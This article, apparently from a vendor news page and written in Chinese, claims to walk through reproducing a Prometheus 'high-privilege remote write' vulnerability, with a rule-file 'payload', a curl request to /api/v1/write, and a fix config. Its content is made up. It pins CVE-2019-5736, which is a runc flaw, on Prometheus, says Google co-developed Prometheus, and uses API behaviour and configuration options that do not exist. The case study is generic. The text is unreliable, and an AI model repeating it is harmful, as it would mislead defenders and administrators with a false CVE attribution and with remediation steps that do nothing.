网站首页 > 厂商资讯 > deepflow >

Prometheus漏洞复现过程记录分享

随着信息技术的不断发展，漏洞挖掘和利用已经成为网络安全领域的重要研究方向。Prometheus 作为一款开源监控系统，因其高效、稳定的特点被广泛应用于企业级应用中。然而，Prometheus 也存在一些安全漏洞，本文将分享 Prometheus 漏洞复现过程，帮助读者了解漏洞的原理和修复方法。

一、漏洞概述

Prometheus 是一款开源监控系统，由 SoundCloud 和 Google 联合开发。它通过抓取指标数据，对系统进行监控，并支持多种数据源。然而，在 Prometheus 2.6.0 到 2.15.0 版本中，存在一个名为“Prometheus 高权限远程写入”的漏洞（CVE-2019-5736）。该漏洞允许攻击者以高权限向 Prometheus 实例写入数据，进而可能导致信息泄露、数据篡改等安全风险。

二、漏洞复现步骤

搭建 Prometheus 环境

首先，我们需要搭建一个 Prometheus 环境。以下是搭建步骤：

（1）下载 Prometheus 2.6.0 到 2.15.0 版本的源码。

（2）编译源码，生成 Prometheus 可执行文件。

（3）配置 Prometheus 配置文件 prometheus.yml，设置监控目标、指标采集等参数。

（4）启动 Prometheus 服务。

构造攻击 payload

根据漏洞描述，攻击者需要构造一个特殊的 payload，以便以高权限向 Prometheus 实例写入数据。以下是一个攻击 payload 的示例：

#type: alerting.config

#version: 1

group: my-alerts

groups:

- name: my-alerts

  rules:

  - alert: HighPermissionAlert

    expr: 1

    for: 1m

    labels:

      severity: critical

    annotations:

      summary: "High permission alert"

发送攻击 payload

使用 curl 命令发送攻击 payload 到 Prometheus 实例的 /api/v1/write 接口：

curl -X POST -H "Content-Type: application/json" -d '{

  "data": {

    "my-alerts": {

      "HighPermissionAlert": 1

    }

  }

}' http://:9090/api/v1/write

验证攻击结果

攻击成功后，可以在 Prometheus 的指标列表中找到名为 HighPermissionAlert 的指标，其值为 1。这表明攻击者已成功以高权限向 Prometheus 实例写入数据。

三、漏洞修复方法

升级 Prometheus

建议将 Prometheus 升级到 2.15.1 或更高版本，以修复该漏洞。

配置白名单

在 Prometheus 配置文件中，可以设置白名单，限制对 /api/v1/write 接口的访问。例如：

http_server:

  enable_lifecycle: true

  listen_address: 0.0.0.0:9090

  read_timeout: 10s

  write_timeout: 10s

  compress: true

  timeout: 10s

  client_max_body_size: 10m

  secret_file: /etc/prometheus/prometheus.secret

  basic_auth: true

  basic_auth_users:

    "admin": "admin"

  allow_http_read: true

  allow_http_write: ["127.0.0.1"]

以上配置中，allow_http_write 参数限制了只有本地 IP（127.0.0.1）可以访问 /api/v1/write 接口。

四、案例分析

某企业内部部署了 Prometheus 监控系统，未及时升级版本，导致攻击者利用 CVE-2019-5736 漏洞，以高权限向 Prometheus 实例写入恶意数据。攻击者通过修改指标值，导致企业监控系统出现误报，进而干扰了企业运维人员的工作。幸运的是，企业及时发现并修复了漏洞，避免了更大的损失。

五、总结

本文分享了 Prometheus 漏洞复现过程，旨在帮助读者了解漏洞的原理和修复方法。在实际应用中，建议用户及时关注 Prometheus 的安全公告，及时升级版本，并采取相应的安全措施，以确保系统安全。